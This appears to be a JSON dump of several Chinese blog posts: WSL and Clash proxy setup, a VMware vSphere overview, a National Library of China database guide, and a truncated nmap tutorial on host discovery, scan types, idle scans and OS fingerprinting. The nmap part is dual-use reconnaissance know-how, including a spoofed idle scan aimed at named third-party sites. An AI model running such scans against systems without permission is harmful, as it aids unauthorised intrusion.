ws=wscript.CreateObject(\u0026#34;wscript.shell\u0026#34;) ws.run \u0026#34;wsl -d WSL版本\u0026#34;, 0 保存为WSL.vbs\n之后需要启动WSL的时候直接运行这个VBS文件即可。如需随Windows开机自动启动，则WIN+R 运行 shell:startup 打开启动目录， 在此目录中创建文件 wsl-startup.vbs，内容同上。\n使用wsl -t 【name】来关闭正在运行的WSL。\nClash 安装 user@localhost:~$ curl https://glados.rocks/tools/clash-linux.zip -o clash.zip #下载Clash\nuser@localhost:~$ unzip clash.zip\nuser@localhost:~$ cd clash\nuser@localhost:~$ curl \u0026lt;配置文件地址\u0026gt; \u0026gt; glados.yaml #下载您的终端配置文件\nuser@localhost:~$ chmod +x ./clash-linux-amd64-v1.10.0\nuser@localhost:~$ /path/clash-linux-amd64-v1.10.0 -f \u0026lt;配置文件地址\u0026gt; -d /path\nClash 服务配置 root:~# vim /etc/systemd/system/clash.service [Unit] Description=Clash Daemon After=network.target\n[Service] Type=simple ExecStart=/opt/clash/clash-linux-amd64-v1.10.0 -f /opt/clash/glados.yaml -d /opt/clash Restart=on-failure RestartSec=5 User=root LimitNOFILE=65535\n[Install] WantedBy=multi-user.target\nClash使用 Windows在系统代理配置7890端口就行（http）。\n桌面型Linux(如Ubuntu)请打开设置-网络-设置网络代理为SOCK5, 地址为 127.0.0.1, 端口为7891。\n","permalink":"https://www.clearsec.org/posts/tech/wsl-%E5%AE%9E%E7%94%A8%E9%85%8D%E7%BD%AE/","summary":"\u003ch1 id=\"wsl-静态-dns-设置\"\u003eWSL 静态 DNS 设置\u003c/h1\u003e\n\u003cp\u003eWSL Ubuntu24.04的DNS配置不在 \u003cstrong\u003e/etc/systemd/resolved.conf\u003c/strong\u003e，而在/etc/resolv.conf。\u003c/p\u003e","title":"WSL 实用配置"},{"content":"官方文档：VMware vSphere 文档 1. vSphere 的定义 vSphere 通常被称为 VMware 的云操作系统，它通过虚拟化技术将计算、存储和网络资源抽象化，并提供管理和自动化功能。vSphere 是企业级虚拟化和云计算的核心解决方案。\n典型架构图 物理层：服务器、存储、网络设备。 虚拟化层：ESXi。 管理层：vCenter Server、NSX、vSAN 等。 服务层：vRealize、Horizon、Tanzu 等。 用户层：管理员、开发人员、终端用户。 2. vSphere 的核心组件 (1) VMware ESXi （必要） vSphere 的基础虚拟化平台，它直接与硬件交互，为虚拟机提供计算、存储和网络资源。 是 Type-1（裸机）虚拟化管理程序，直接运行在物理服务器上。 为什么称为裸机虚拟化（Type-1 Hypervisor）？ Type-1 Hypervisor 是直接运行在物理硬件上的虚拟化软件，不需要依赖底层的操作系统。 与 Type-2 Hypervisor 的区别： Type-1：ESXi、Hyper-V、KVM（直接运行在硬件上）。 Type-2：需要一个宿主操作系统，例如 VMware Workstation、Oracle VirtualBox（依赖操作系统）。 负责将物理资源虚拟化为虚拟机可用的计算、存储和网络资源。 支持单机管理，使用vSphere Client（如 https://\u0026lt;ESXi-IP\u0026gt;/ui） 或命令行，单机管理仅适合于小型虚拟化环境或简单需求。 没有 vCenter Server 时，以下功能将受到限制： 集中管理：无法统一管理多个 ESXi 主机。 高级功能：如 vMotion、动态资源调度（DRS）、高可用性（HA）和存储 vMotion 等。 模板与克隆管理：无法高效管理虚拟机模板和克隆。 监控与日志：无法统一查看多台主机和虚拟机的性能和日志。 尽管 ESXi （Elastic Sky X Integrated）提供类似 Linux 的命令行工具和环境，并且 ESXi 包含了一些 GNU/Linux 工具和标准 POSIX 接口。但底层内核完全不同，其底层内核是 VMware 自主研发的 VMkernel，因此 ESXi 并不是基于 Linux 的操作系统。以下是两者的主要区别：\n特性 ESXi Linux 内核类型 VMware 自研的 VMkernel 基于 Linux 内核（开源） 功能重点 专注于虚拟化 通用操作系统，支持多种用途 文件系统 VMFS（虚拟机文件系统） ext4、XFS、Btrfs 等 开源性 非开源（专有软件） 开源，社区驱动 (2) VMware vCenter Server vSphere 的集中管理平台。 提供对多个 ESXi 主机和虚拟机的统一管理。 支持高级功能，例如： vMotion（虚拟机在线迁移）。 DRS（分布式资源调度）。 HA（高可用性）。 部署方式 vCenter Server Appliance (VCSA) 基于 Linux 的虚拟设备，预装了 vCenter Server 和内置 PostgreSQL 数据库。 VMware vCenter Server 通常作为一个虚拟机运行在 ESXi 主机上。 Windows 上的 vCenter Server 在 Windows Server 上安装，但从 vSphere 7 开始已不再支持。 (3) vSphere Client 用户与 vSphere 交互的界面工具。 基于 Web 浏览器，允许管理员管理 ESXi 主机、虚拟机和 vCenter Server。 提供简单的操作和高级功能设置。 历史背景： 早期版本的 vSphere Client 是一个基于 Windows 的独立应用程序，需要手动安装。 从 vSphere 6.5 开始，VMware 提供了基于 HTML5 的 vSphere Client，嵌入在 ESXi 中。取代了早期的 Windows 客户端（已在 vSphere 7.0 中完全移除）。 (4) vSphere Virtual Volumes (vVols) 一个存储技术，允许将存储资源虚拟化为逻辑单元。 提供更细粒度的存储分配和管理。 (5) vSphere Distributed Switch (VDS) 提供高级网络功能，允许在多个 ESXi 主机之间实现一致的网络配置和流量管理。 3. vSphere 的功能 (1) 资源虚拟化 抽象化物理资源（CPU、内存、存储、网络），并将其分配给虚拟机。 支持多种虚拟化操作系统，包括 Windows、Linux 和 macOS。 (2) 高可用性和灾难恢复 HA（高可用性）：当主机或虚拟机故障时，自动重新启动虚拟机。 FT（容错功能）：提供虚拟机的实时副本，确保零宕机。 (3) 动态资源调度 DRS（分布式资源调度）：根据主机的负载情况自动分配虚拟机资源。 vMotion：支持虚拟机在主机之间的在线迁移，无需中断服务。 (4) 数据中心自动化 自动化日常任务，如主机配置、虚拟机部署和资源优化。 支持通过 API 或 VMware PowerCLI 脚本实现自定义自动化。 (5) 集中管理和监控 通过 vCenter Server，管理员可以统一管理虚拟化资源。 提供全面的性能监控和日志分析。 4. vSphere 的版本 VMware 会定期更新 vSphere，增加新功能并改进性能。每个版本包含不同级别的许可（如 Standard、Enterprise Plus），以满足不同规模的虚拟化需求。\n5. vSphere 的应用场景 企业数据中心：虚拟化基础架构，提高资源利用率。 云计算平台：构建私有云或混合云环境。 容灾备份：通过高可用性和灾难恢复功能保障业务连续性。 测试和开发：快速部署虚拟机，支持软件开发和测试。 6. 总结 VMware vSphere 是一套综合虚拟化平台，包含 ESXi 和 vCenter Server 等核心组件，为企业提供强大的虚拟化能力和集中管理功能。\n7. 拓展阅读 https://cloud.google.com/vmware-engine/docs/concepts-high-availability-vmware?hl=zh-cn\n","permalink":"https://www.clearsec.org/posts/tech/vmware-vsphere-%E8%99%9A%E6%8B%9F%E5%8C%96%E5%B9%B3%E5%8F%B0/","summary":"\u003ch2 id=\"官方文档vmware-vsphere-文档\"\u003e官方文档：\u003ca href=\"https://docs.vmware.com/cn/VMware-vSphere/index.html\"\u003eVMware vSphere 文档\u003c/a\u003e\u003c/h2\u003e\n\u003ch3 id=\"1-vsphere-的定义\"\u003e\u003cstrong\u003e1. vSphere 的定义\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003evSphere 通常被称为 \u003cstrong\u003eVMware 的云操作系统\u003c/strong\u003e，它通过虚拟化技术将计算、存储和网络资源抽象化，并提供管理和自动化功能。vSphere 是企业级虚拟化和云计算的核心解决方案。\u003c/p\u003e","title":"什么是 VMware vSphere？"},{"content":"图书馆提供什么服务 图书馆指搜集、整理及保存图书资讯，以服务公众或特定对象之设施，旨在建立及维护馆藏，以满足其资讯、研究、教育、文化或休闲的需求。由政府开立的图书馆经费通常来自于税收，因此对公众提供公益性服务。\n而图书馆一般会购买商业性的数据库，例如知网、万方等收费论文数据库。由学校开办的图书馆使用学生卡或校园网就能使用学校图书馆购买的资源。毕业的同学可以去市级或省级图书馆办理借阅证，部分现代化的图书馆提供在线远程的资源请求，因此我们完全没有必要去商业知识数据库平台购买需要的图书文献，只需要办理借阅证就能满足大部分需求（之所以是大部分需求，是因为面向公众的图书馆基于成本考量不会购买所有类别的数据库，部分数据库仍可能没有访问权限）。\n中国国家图书馆 如果你所在城市的图书馆没有远程访问或者购买的数据库很有限，那么我推荐你可以开通中国国家图书馆的借阅证，虽然国图地处北京但是它提供了足够用的在线资源。中国国家图书馆是国家总书库，国家书目中心，国家古籍保护中心，国家典籍博物馆。履行国内外图书文献收藏和保护的职责，指导协调全国文献保护工作；为中央和国家领导机关、社会各界及公众提供文献信息和参考咨询服务；开展图书馆学理论与图书馆事业发展研究，指导全国图书馆业务工作；对外履行有关文化交流职能，参加国际图联及相关国际组织，开展与国内外图书馆的交流与合作。\n国家数字图书馆资源服务-读者云门户网站 PC版：读者云门户\n移动端：掌上国图-国家图书馆\nAPP(在线读者证目前仅支持APP申请)，请到手机应用商店搜索“国家数字图书馆”\n读者云门户网站是国家数字图书馆资源服务的重要阵地和窗口平台，汇聚了国家图书馆自建资源、商购资源以及与地方图书馆联合建设和合作建设的资源，内容涵盖图书、古籍、论文、期刊、音视频等。网站不仅提供数字化资源的在线阅读（播放）服务，还提供特色资源检索、文津搜索、OPAC检索三大检索的一站式访问，此外，还为读者提供了各类专题资源、活动资源、读者指南等服务入 口。\n资源访问要求 古籍类资源（包括东文研汉籍影像库、法藏敦煌遗书、哈佛大学善本特藏、天津图书馆古籍、云南图书馆古籍、上海图书馆家谱、数字古籍、赵城金藏、中华医药典籍、碑帖菁华、敦煌遗珍、甲骨世界、年画撷英、前尘旧影、数字方志、宋人文集、西夏论著、西夏文献、中华古籍善本联合书目、徽州家谱 20 个资源库）的服务方式为免登录访问。 其他自建特色资源库，未登录用户可以检索、浏览书籍的详细信息，登录用户可以在线访问部分资源。 商业购买资源库，登录用户方可以访问资源库。 用户权限 目前APP是有不同阅读权限的，主要如下，5级权限最高，1级最低。\n1级权限：未登录用户，可检索、浏览资讯专题栏目；\n2级权限：第三方登录用户（例如微信快捷登录）可点赞、分享、收藏资讯专题；\n3级权限：实名用户可阅读全文，摆阔电子图书、有声读物、视频、数据库；\n4级权限：电子读书卡用户可图书预约、借阅、续借、在线查询、实体馆藏和部分数据库访问；\n5级权限：读者卡（实体）用户可图书预约、借阅、续借、在姐所有实体馆藏，可访问全部数据库。\n用户可访问的资源库范围 访问范围 读者类型 自建特色资源库数 商购资源库数 实体读者卡 52 131 互联网访问 实名注册/电子读者卡 52 55 非实名注册 52 19 实体读者卡 52 215 局域网访问 实名注册/电子读者卡 52 139 非实名注册 52 93 注：以上资源库数量会根据馆内政策不定期调整。\n国家图书馆互联网访问数据库分类总结 标准专利 中国专利全文数据库（清华同方知网）\n包含发明专利、实用新型专利、外观设计专利三个子库。支持通过申请号、公开号、专利名称等检索，提供专利说明书全文下载。截至2018年底，收录专利数量超过2000万条。 中国行业标准全文数据库（清华同方知网）\n涵盖电子、医药、煤炭等近30类行业标准，支持通过标准号、名称、起草人等检索。截至2018年底，收录行业标准超过2万条。 国家标准全文数据库（清华同方知网）\n收录自1950年以来的国家标准，提供丰富的检索功能，包括标准号、起草单位等。截至2018年底，收录标准5万余条。 中国标准在线服务网\n国家标准化管理委员会主办，收录现行、废止、被代替及即将实施的国家标准、部分行业标准和计量规程规范文件。 专利检索及分析系统\n收录105个国家、地区及组织的专利数据，提供高级检索、导航检索、专利分析等功能，涵盖引文、法律状态等信息。支持用户注册后直接访问。 电子论文 中国优秀硕士论文数据库（清华同方知网）\n收录全国700余所培养单位的硕士学位论文，涵盖基础科学、工程技术、人文社会科学等，论文数量超过500万篇。 中国优秀博士论文数据库（清华同方知网）\n包含全国500余所培养单位的博士学位论文，覆盖多个学科领域，论文数量超过50万篇。 万方学位论文数据库\n收录400余万篇中文学位论文，内容涵盖理学、医学、工程技术、人文社会科学等学科。 ProQuest Dissertations \u0026amp; Theses学位论文全文库\n收录国外4000多所大学的博硕士学位论文，全文数量超过106万篇，内容覆盖文、理、工、农、医等领域。 中国重要会议全文数据库（清华同方知网）\n收录自1999年以来中国科协、社科联等举办的重要会议文献，涵盖200余万篇会议论文。 中国学术会议论文全文数据库-中文版（万方）\n收录2000多个学术会议的论文，全文文献数量约300万篇，覆盖多个学科领域。 法律文献与审判资源 World Trials Library（世界审判文库） 收录自17世纪以来的3600多个全球重要审判案例，内容超过4600卷，包含纽伦堡审判、东京审判、战争审判等经典案例及分析文献。 期刊数据库 国家哲学社会科学文献中心\n涵盖哲学社会科学领域的学术期刊文献，支持全文检索与阅读。 中国学术期刊网络出版总库（清华同方知网）\n收录8000余种国内学术、技术、政策指导类期刊，涵盖自然科学、工程技术、人文社会科学等领域，全文文献达5900余万篇。 国家哲学社会科学学术期刊数据库\n中国社会科学院承建，包含2000多种精品学术期刊、超过1000万篇论文，部分回溯至1920年。 中华医学会数字化期刊\n中华医学会出版的专业医学期刊数字化平台，涵盖临床医学及医学相关学科。 中国权威经济论文库\n专注于宏观经济、产业经济、企业经济等经济学领域，包含近7万篇高质量经济学论文，动态更新。 万方数字化期刊\n提供自然科学、社会科学、工程技术等领域的学术期刊全文数据。 龙源期刊网\n收录4000余种综合性人文大众类期刊，涉及时政、文学、历史等多学科，提供在线全文阅读。 人大复印资料全文数据库\n收录1995年以来人文社会科学领域的文献，涵盖政治、文化、教育、经济、哲学等学科，来源于4000余种文献。 电子图书 QQ阅读（机构版）\n提供超过13万种正版电子图书，涵盖文学、经管、科技等多个领域。支持PC、H5或API接口接入。 中国理论网\n人民出版社主办的数字资源平台，聚焦传播中国共产党思想理论资源和最新研究成果。 皮书数据库\n收录社会科学文献出版社“皮书系列”数据，包括年度报告、研究文献、图表和视频等，涉及中国经济、社会、文化、国际关系等多主题。 点点书库\n汇集4000本漫画作品，分类包括国学、青春励志、历史武侠、娱乐休闲等。 电子图书（历史文献类） Nineteenth Century Collections Online（十九世纪作品在线，NCCO）\n以19世纪书籍、期刊、报纸等为主，分为“英国政治与社会”、“亚洲与西方”等主题集合，总计超过520万页内容。 EAI美国早期印刷品：系列I (1639-1800)\n收录美国1639-1800年间的图书出版物，包括小说、剧本、地图等多种内容，共计7.4万种出版物。 EAI美国早期印刷品：系列II (1801-1819)\n与系列I相辅，收录1801-1819年的美国早期出版物，内容类型与系列I一致。 ECCO十八世纪文献在线（ECCOI，ECCOII）\n收录18世纪英国、美国等国家的著作，涉及历史、法律、文学、医学等多学科，共计约18.8万种文献。 ","permalink":"https://www.clearsec.org/posts/read/%E5%85%8D%E8%B4%B9%E5%8F%A4%E7%B1%8D%E5%9B%BE%E4%B9%A6%E8%AE%BA%E6%96%87%E6%9C%9F%E5%88%8A%E6%96%87%E7%8C%AE%E5%BA%93-%E5%9B%BD%E5%AE%B6%E5%9B%BE%E4%B9%A6%E9%A6%86%E5%9C%A8%E7%BA%BF%E6%9C%8D%E5%8A%A1/","summary":"\u003ch2 id=\"图书馆提供什么服务\"\u003e图书馆提供什么服务\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e图书馆\u003c/strong\u003e指搜集、整理及保存图书资讯，以服务公众或特定对象之设施，旨在建立及维护馆藏，以满足其资讯、研究、教育、文化或休闲的需求。由政府开立的图书馆经费通常来自于税收，因此对公众提供公益性服务。\u003c/p\u003e","title":"免费古籍、图书、论文、期刊文献库-国家图书馆在线服务"},{"content":"","permalink":"https://www.clearsec.org/posts/blog/blog/","summary":"","title":"Blog"},{"content":"1 基本操作 使用 nmap 最简单的方式就是在命令行中输入 nmap 和 \u0026lt;目标 IP 地址\u0026gt;，例如：\n1 nmap 192.168.10.20 2 扫描范围的确定 2.1 对连续范围内的主机进行扫描 输入如下命令来选择扫描范围为 192.168.10.1～192.168.10.254 的主机:\n1 nmap -sn 192.168.10.1-255 2.2 对整个子网进行扫描 nmap 支持使用 CIDR（Classless Inter-Domain Routing，无分类域间路由选择）的方式来扫描整个子网。\n因此，如果要扫描 192.168.10.1～192.168.10.254 这个子网范围的主机，还可以使用如下命令：\n1 nmap -sn 192.168.10.1/24 2.3 对多个不连续的主机进行扫描 nmap 可以一次扫描多个主机，如果这些扫描的目标地址没有任何的关系，那么可以通过将目标地址用空格分隔开的方式来同时对这些主机进行扫描。\n如果对 192.168.10.10、192.168.10.20、192.168.10.30、192.168.10.40 进行扫描，可以使用如下命令：\n1 nmap -sn 192.168.10.10 192.168.10.20 192.168.10.30 192.168.10.40 2.4 在扫描的时候排除指定的目标 在对一些主机进行扫描时，如果需要排除某些指定主机，可以使用--exclude选项。\n例如，如果我们希望在扫描 192.168.10.0/24 子网的时候，并不对 192.168.10.20 进行扫描，就可以使用如下命令。\n1 nmap -sn 192.168.10.0/24 --exclude 192.168.10.20 2.5 对一个文本文件中的地址列表进行扫描 如果需要经常性地对某些地址进行扫描，那么每次都在命令中输入这些地址是相当麻烦的，可以将常用的地址保存在一个记事本文件中，然后用 -iL 把文件名作为选项传给 Nmap。\n例如 List.txt，以后，每次想对这些地址进行扫描，无须重新输入，只需要将这个文本文件设定为目标即可:\n1 2 3 4 5 6 vim List.txt 192.168.10.10 192.168.10.20 192.168.10.30 192.168.10.40 nmap -sn -iL List.txt 2.6 随机确定扫描目标 nmap 中还提供了一个非常有意思的功能，那就是使用-iR选项指定 n 个随机目标，然后 nmap 会对这些目标进行扫描。\n下面随机地在互联网上对 3 个 IP 地址进行扫描，使用的命令如下:\n1 nmap -sn -iR 3 活跃主机: 已经_处于运行状态并且网络功能正常_的主机\nnmap 在扫描时，默认会将目标例如端口之类的信息也扫描出来，但是如果只是想要知道目标是否为活跃主机，则并不需要这些信息。\n而如果使用-sn参数，则只会显示是否为活跃主机这一条，在 nmap 中执行如下命令：\n1 nmap -sn scanme.nmap.org 3.1 基于ARP协议的活跃主机发现技术 基于 ARP 协议的活跃主机发现技术的原理是：如果想要知道处在同一网段的 IP 地址为 *.*.*.* 的主机是否为活跃主机，只需要构造一个 ARP 请求数据包，并广播出去，如果得到了回应，则说明该主机为活跃主机。\n这种发现技术的优点在于准确度高，任何处于同一网段的设备都没有办法防御这种技术，因为如果不遵守 ARP，那么将意味着无法通信。缺点在于这种发现技术不能对处于不同网段的目标主机进行扫描。\n当目标主机与我们处于同一网段的时候，使用 ARP 协议扫描技术就是最佳的选择。不仅速度最快，扫描结果也是最为精准的。这是因为没有任何安全措施会阻止正常的 ARP 请求。使用 nmap 的选项-PR就可以实现 ARP 协议的主机发现：\n1 nmap -sn -PR 192.168.10.20 由于 Nmap 的设计思路，Nmap 会首先判断目标主机与 Nmap 所在主机是否在同一网段，如果相同的话，则继续使用 ARP 扫描模式，否则使用 TCP 扫描模式。\n3.2 基于ICMP协议的活跃主机发现技术 ICMP 的报文可以分成两类：差错报告报文和询问报文。 nmap 的 ICMP 活跃主机发现技术使用的就是询问报文。 ICMP 协议中包含了很多种方法，但是这些基于 ICMP 协议的扫描方式往往也是安全机制防御的重点，因此经常得不到准确的结果。 如果不使用 root 权限，Nmap 将使用一种称为 “TCP Pingscan” 的替代方法来检查目标主机的在线状态。这种方法利用 TCP 协议发送一个无效的 TCP 连接请求，来观察目标主机是否响应。 ICMP 中适合使用的询问报文包括如下 3 类：\n3.2.1 响应请求和应答 使用 nmap 的选项-PE就可以实现 ICMP 协议的响应请求主机发现。这个过程实质上和 ping 是一样的。\n1 sudo nmap -sn -PE scanme.nmap.org 3.2.2 时间戳请求和应答 ping 方式已经被很多网络所禁止，因此必须另觅它法。比如时间戳请求和应答。\n使用 nmap 的选项-PP就可以实现 ICMP 协议的时间戳主机发现：\n1 sudo nmap -sn -PP scanme.nmap.org 3.2.3 地址掩码请求和应答 虽然这个协议主要使用在无盘系统中，但是也有一些系统在收到这个请求后会发送一个应答。需要注意的是，这种方法在实际中很少使用。\n使用 nmap 的选项-PM可以实现 ICMP 协议的地址掩码主机发现：\n1 sudo nmap -PM -sn scanme.nmap.org 3.3 基于TCP协议的活跃主机发现技术 3.3.1 TCP SYN 扫描 TCP（Transmission Control Protocol，传输控制协议）是一种面向连接的、可靠的、基于字节流的传输层通信协议。 TCP 的特点是使用三次握手协议建立连接。当主动方发出 SYN 连接请求后，等待对方回答 TCP 的三次握手 SYN+ACK，并最终对对方的 SYN 执行 ACK 确认。这种建立连接的方法可以防止产生错误的连接，TCP 使用的流量控制协议是可变大小的滑动窗口协议。 如果想知道主机 B 是否处于活跃状态，就可以向主机 B 的全部端口（通常并不这样做，而是选择一部分常用的端口）发送连接请求数据包，如果得到回应（注意只要收到了数据包），就可以认为主机 B 是活跃主机。 TCP 扫描是 nmap 扫描技术中最强大的技术之一，很多服务器的防御机制都会屏蔽掉 ICMP echo 请求数据包，但是任何的服务器都会响应针对其服务的 SYN 数据包。 nmap 中使用-PS选项来向目标主机发送一个设置了 SYN 标志的数据包，这个数据包的内容部分为空。通常默认的目标端口是 80 端口，也可以使用参数 (可以指定一个以逗号分隔的端口列表, 端口与选项之间不能有空格) 来改变目标端口：\n1 nmap -sn -PS scanme.nmap.org 3.3.2 TCP ACK 扫描 和 SYN 扫描相当相似，不同之处只在于 nmap 发送的数据包中使用 TCP/ACK 标志位，而不是 SYN 标志位。 nmap 直接向目标主机发送一个 TCP/ACK 数据包，目标主机显然无法清楚这是怎么回事，当然也不可能成功建立 TCP 连接，因此只能向 nmap 所在主机发送一个 RST 标志位的数据包。 在实际情况中，这种类型的扫描很少能成功，造成这种情况的原因是目标主机上的安全机制或者安全设备将这种莫名其妙的 TCP/ACK 包直接过滤掉了。 这种 ACK 扫描的方式同样以 80 端口作为默认端口，也可以进行指定。 如果需要对目标主机采用这种扫描方式，可以使用使用 nmap 的选项-PA：\n1 nmap -sn -PA scanme.nmap.org 3.4 基于UDP协议的活跃主机发现技术 由于 UDP 协议是非面向连接的，对 UDP 端口的探测也就不可能像 TCP 端口的探测那样依赖于连接建立过程，这也使得 UDP 端口扫描的可靠性不高。 当一个 UDP 端口收到一个 UDP 数据包时，如果它是关闭的，就会给源端发回一个 ICMP 端口不可达数据包 (有效判断)；如果它是开放的，就会忽略这个数据包，也就是将它丢弃而不返回任何信息 (将无法判断数据包是在传输过程中丢失了还是被目的主机丢弃了)。 TCP 需要扫描目标主机开放的端口，而 UDP 需要扫描的是目标主机关闭的端口，在扫描的过程中，需要避开那些常用的 UDP 协议端口，例如 DNS（端口 53）、SNMP（161）。因此在扫描的时候，最合适的做法就是选择一个值比较大的端口，例如 35462。默认探测端口是 40125 这样一个极不可能被使用的端口。 使用 nmap 的选项-PU就可以实现 UDP 协议的主机发现：\n1 sudo nmap -sn -PU scanme.nmap.org 使用 UDP Ping（-PU），需要以 root 权限运行, 因为需要从网络中读取原始响应数据\n3.5 基于SCTP协议的活跃主机发现技术 如果得到的结果和实际不一致，主要原因是目标主机并不支持 SCTP 协议。目前支持这个协议的主机并不多，因此这种方法只能作为一种备用手段。 使用 nmap 的选项-PY就可以向目标主机发送一个 SCTP INIT 数据包：\n1 sudo nmap -sn -PY scanme.nmap.org 使用 SCTP INIT Ping（-PU），需要以 root 权限运行, 因为需要从网络中读取原始响应数据\n3.6 使用IP协议进行主机地址发现 nmap 中允许向目标主机发送 IP 数据包来检测目标主机是否活跃，理论上可以使用的协议多达上百个。这种方式允许指定所要使用的协议，如果不指定的话，nmap 默认使用 ICMP（IP 协议编号 1）、IGMP（IP 协议编号 2）和 IP-in-IP（IP 协议编号 4）三个协议。另外也可以使用选项-PO来指定所要使用协议的编号, 例如默认的 IP 扫描方式:\n1 sudo nmap -sP 192.168.10.20 实际上就相当于:\n1 sudo nmap -sP -PO1,2,4 192.168.10.20 另外，这种情形发出的数据包内容都是空的，这种数据包很容易被检测出来，可以使用一个--data-length参数来发送添加了随机数据的数据包。例如：\n1 sudo nmap -sP --data-length 25 192.168.10.20 在对一台主机进行扫描的时候，如果它有域名的话，nmap 会向域名服务器提出请求，显示该 IP 所对应的域名 (反向域名解析)。但是，在进行扫描时，可能扫描的是一个范围，在这个范围内主机可能有的处于活跃状态，而有的却处于非活跃状态，如果直接进行扫描，nmap 只会对处于活跃状态的主机进行 DNS 转换 (会在 DNS 服务器上留下查询记录)，而非活跃状态的主机则不予处理。\n如果希望所有的目标 IP 无论是否是活跃主机, 都将其对应的域名列出来的话，可以使用-R参数:\n1 nmap -R 45.33.32.156-160 如果强制将每一个 IP 都转换为域名，将会耗费大量的时间，有时可能已经知道主机的域名，无须进行任何转换，此时就可以使用-n参数来取消反向域名解析，这一点在对大规模的网络进行扫描时效果极其明显:\n1 nmap -n 45.33.32.156-160 如果不想在自己的 DNS 服务器留下这次查询的记录，可能需要使用指定的 DNS 服务器来查询目标，这时就可以使用--dns-servers参数:\n1 nmap --dns-servers 8.8.8.8 45.33.32.156 nmap 中提供了--packet-trace选项，通过它就可以观察 nmap 发出了哪些数据包，收到了哪些数据包，有了这个研究方法，可以更深入地理解 nmap 的运行原理。 1 nmap -sn -PY 192.168.10.20 --packet-trace 在对 192.168.10.20 扫描时，虽然也使用了-PY选项，但是根本没有发送 SCTP 数据包，而是使用了 ARP 格式的请求。这其实是由于 nmap 的设计思路，nmap 会首先判断目标主机与 nmap 所在主机是否在同一网段，如果相同的话，则直接使用 ARP 扫描模式。\n6.1 端口状态的定义 nmap 中对于端口给出了 6 种不同的状态描述：\nopen：如果目标端口的状态为 open，这表明在该端口有应用程序接收 TCP 连接或者 UDP 报文。\nclosed：如果目标端口的状态为 closed，这里要注意 closed 并不意味着没有任何反应，状态为 closed 的端口是可访问的，这种端口可以接收 nmap 探测报文并做出响应。相比较而言，没有应用程序在 open 上监听。\nfiltered：产生这种结果的原因主要是存在目标网络数据包过滤，由于这些设备过滤了探测数据包，导致 nmap 无法确定该端口是否开放。这种设备可能是路由器、防火墙甚至专门的安全软件。\nunfiltered：这种结果很少见，它表明目标端口是可以访问的，但是 nmap 却无法判断它到底是 open 还是 closed 的。通常只有在进行 ACK 扫描时才会出现这种状态。\nopen | filtered：无法确定端口是开放的还是被过滤了，开放的端口不响应就是一个例子。\nclosed|filtered：无法确定端口是关闭的还是被过滤了。只有在使用 idle 扫描时才会发生这种情况。\n6.2 SYN扫描 SYN 扫描是最为流行的一种扫描方式，同时它也是 nmap 所采用的默认扫描方式。这种扫描方式速度极快，可以在一秒钟扫描上千个端口。又因为 nmap 在收到 SYN/ACK 后会发送 RST 包请求断开连接而不是 ACK 应答。这样，三次握手就没有完成，无法建立正常的 TCP 连接，本次扫描也就不会被记录到系统日志中，SYN 扫描也就不容易被网络中的安全设备所发现\n你也可以在扫描的时候输入参数-sS选项。其实只要你是以 root 或者 administrator 权限工作的，扫描的形式都是 SYN 的：\n1 sudo nmap -sS scanme.nmap.org 6.3 Connect扫描 这种扫描方式其实和 SYN 扫描很像，只是这种扫描方式完成了 TCP 的三次握手。这种扫描方式无须 root 或者 administrator 权限。\n例如对目标 scanme.nmap.org6y 扫描，使用-sT选项，命令如下：\n1 nmap -sT scanme.nmap.org 6.4 UDP扫描 在扫描过程中可能会产生一些状态为 filtered 的端口，这些端口的真实状态可能是 open，也有可能是 closed。要从这些状态为 filtered 的端口中找到那些其实是 open 的端口，需要进一步的测试。\n要注意 UDP 扫描的速度是相当慢的, 原因是在 RFC1812 中对 ICMP 错误报文的生成速度做出了限制\n使用 Connect 扫描端口的选项为-sU:\n1 sudo nmap -sU scanme.nmap.org 6.5 TCP FIN扫描 TCP FIN 扫描方法向目标端口发送一个 FIN 数据包。按照 RFC 793 的规定，对于所有关闭的端口，目标系统应该返回 RST 标志。\n使用 TCP FIN 扫描端口的选项为-sF:\n1 sudo nmap -sF scanme.nmap.org 6.6 NULL扫描 TCP NULL 扫描方法是向目标端口发送一个不包含任何标志的数据包。按照 RFC 793 的规定，对于所有关闭的端口，目标系统应该返回 RST 标志。\n使用 TCP NULL 扫描端口的选项为-sN:\n1 sudo nmap -sN scanme.nmap.org 6.7 Xmas Tree扫描 TCP Xmas Tree 扫描方法是向目标端口发送一个含有 FIN、URG 和 PUSH 标志的数据包。按照 RFC 793 的规定，对于所有关闭的端口，目标系统应该返回 RST 标志。\n使用 TCP Xmas Tree 扫描端口的选项为-sX:\n1 nmap -sX scanme.nmap.org 6.8 idle扫描 一种更加高级的扫描方式是 TCP 空闲扫描，这种扫描能让我们冒充网络上另一台主机的 ip 地址，对目标进行更为隐秘的扫描（这里的空闲主机的意思是该主机在一段特定时间内不向网络发送数据包）。\n例如使用-sI选项指定 kiosk.adobe.com 作为第三方主机，然后对 http://www.riaa.com 进行扫描：\n1 sudo nmap -Pn -p- -sI kiosk.adobe.com www.riaa.com 6.9 指定扫描的端口 扫描常见的 100 个端口 1 nmap -F scanme.nmap.org 指定某一个端口 1 nmap -p80 scanme.nmap.org 使用名字来指定扫描端口 1 nmap -p ssh,http scanme.nmap.org 使用协议指定扫描端口 1 nmap -sU -sT -p U:53, T:25 scanme.nmap.org 扫描所有端口 1 nmap -p * scanme.nmap.org 扫描常用端口 1 nmap --top-ports 10 scanme.nmap.org 在命令行中使用-O选项通过端口扫描来完成对操作系统的扫描。这个命令将会使用 Nmap 默认的 SYN 扫描方式来完成端口检测：\n1 sudo nmap -O scanme.nmap.org 7.1 操作系统指纹简介 Nmap 并不使用被动式的判断目标计算机操作系统的方法。Nmap 中的主动式方法采用多达 15 个探针的操作系统指纹扫描包。操作系统指纹这个名字来源于生物学上的名词指纹。因为人的指纹都是独一无二的，因此可以作为身份验证的一种机制。同样每一种类型的操作系统也都有自己的特征，通过向一台计算机**发送特定格式的探针（数据包）**来查看目标主机的响应数据，这一过程就是操作系统指纹分析的过程。这些强大的探针利用了 TCP、UDP、ICMP 等各种协议。这些探针经过巧妙设计，可以发现目标操作系统细微的差别。\n7.2 使用Nmap进行服务发现 Nmap 提供了更精确的服务及版本检测选项，可通过添加选项-sV进行服务和版本检测：\n1 sudo nmap -sV scanme.nmap.org 首先进行端口扫描，默认情况下使用 SYN 